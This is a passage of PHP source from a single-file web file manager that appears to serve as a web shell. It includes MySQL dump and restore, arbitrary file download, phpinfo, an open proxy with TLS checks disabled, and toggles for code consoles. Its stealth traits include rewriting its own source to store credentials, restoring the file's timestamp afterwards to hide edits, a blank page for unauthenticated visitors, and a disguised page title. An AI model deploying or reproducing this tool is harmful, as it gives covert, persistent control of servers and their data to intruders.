		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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